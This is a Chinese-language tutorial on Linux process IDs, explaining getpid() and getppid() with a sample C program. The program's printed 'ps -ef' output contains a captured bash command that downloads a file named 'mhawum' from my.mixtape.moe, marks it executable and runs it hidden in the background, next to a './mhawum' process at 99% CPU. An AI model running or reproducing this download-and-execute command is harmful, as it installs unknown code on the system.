处理信息
在我们进入流程信息之前,我们需要了解一些事情,例如 -
什么是流程?进程是正在执行的程序。
什么是程序?程序是包含进程信息以及如何在运行时构建进程的文件。当您开始执行程序时,它会被加载到 RAM 中并开始执行。
每个进程都用一个唯一的正整数进行标识,称为进程 ID 或简称 PID(进程标识号)。内核通常将进程ID限制为32767,这是可配置的。当进程ID达到此限制时,会再次重置,即在系统进程范围之后。然后,该计数器中未使用的进程 ID 会分配给新创建的进程。
系统调用 getpid() 返回调用进程的进程 ID。
#include <sys/types.h> #include <unistd.h> pid_t getpid(void);
此调用返回调用进程的进程 ID,该 ID 保证是唯一的。此调用始终成功,因此没有返回值来指示错误。
每个进程都有其唯一的 ID,称为进程 ID,这很好,但是谁创建了它呢?如何获取其创建者的信息?创建者进程称为父进程。可以通过 getppid() 调用获取父 ID 或 PPID。
系统调用 getppid() 返回调用进程的父 PID。
#include <sys/types.h> #include <unistd.h> pid_t getppid(void);
此调用返回调用进程的父进程 ID。此调用始终成功,因此没有返回值来指示错误。
让我们通过一个简单的例子来理解这一点。
以下是一个了解调用进程的 PID 和 PPID 的程序。
File name: processinfo.c #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> int main() { int mypid, myppid; printf("Program to know PID and PPID's information\n"); mypid = getpid(); myppid = getppid(); printf("My process ID is %d\n", mypid); printf("My parent process ID is %d\n", myppid); printf("Cross verification of pid's by executing process commands on shell\n"); system("ps -ef"); return 0; }
编译并执行上述程序时,输出如下。
UID PID PPID C STIME TTY TIME CMD root 1 0 0 2017 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe mysql 101 1 0 2017 ? 00:06:06 /usr/libexec/mysqld --basedir = /usr --datadir = /var/lib/mysql --plugin-dir = /usr/lib64/mysql/plugin --user = mysql --log-error = /var/log/mariadb/mariadb.log --pid-file = /run/mariadb/mariadb.pid --socket = /var/lib/mysql/mysql.sock 2868535 96284 0 0 05:23 ? 00:00:00 bash -c download() { flag = "false" hsize = 1 echo -e "GET /$2 HTTP/1.1\nHost: $1\nConnection: close\n\n" | openssl s_client -timeout -quiet -verify_quiet -connect $1:443 2> /dev/null | tee out | while read line do if [[ "$flag" == "false" ]] then hsize = $((hsize+$(echo $line | wc -c))) fi if [[ "${line:1:1}" == "" ]] then flag = "true" fi echo $hsize > size done tail -c +$(cat size) out > $2 rm size out } ( download my.mixtape.moe mhawum 2> /dev/null chmod +x mhawum 2> /dev/null ./mhawum > /dev/null 2> /dev/null )& 2868535 96910 96284 99 05:23 ? 00:47:26 ./mhawum 6118874 104116 0 3 05:25 ? 00:00:00 sh -c cd /home/cg/root/6118874; timeout 10s javac Puppy.java 6118874 104122 104116 0 05:25 ? 00:00:00 timeout 10s javac Puppy.java 6118874 104123 104122 23 05:25 ? 00:00:00 javac Puppy.java 3787205 104169 0 0 05:25 ? 00:00:00 sh -c cd /home/cg/root/3787205; timeout 10s main 3787205 104175 104169 0 05:25 ? 00:00:00 timeout 10s main 3787205 104176 104175 0 05:25 ? 00:00:00 main 3787205 104177 104176 0 05:25 ? 00:00:00 ps -ef Program to know PID and PPID's information My process ID is 104176 My parent process ID is 104175 Cross verification of pid's by executing process commands on shell
注- “C”库函数 system() 执行 shell 命令。传递给 system() 的参数是在 shell 上执行的命令。在上面的程序中,命令是“ps”,它给出进程状态。
有关所有正在运行的进程的完整信息和其他系统相关信息可从 /proc 位置的 proc 文件系统访问。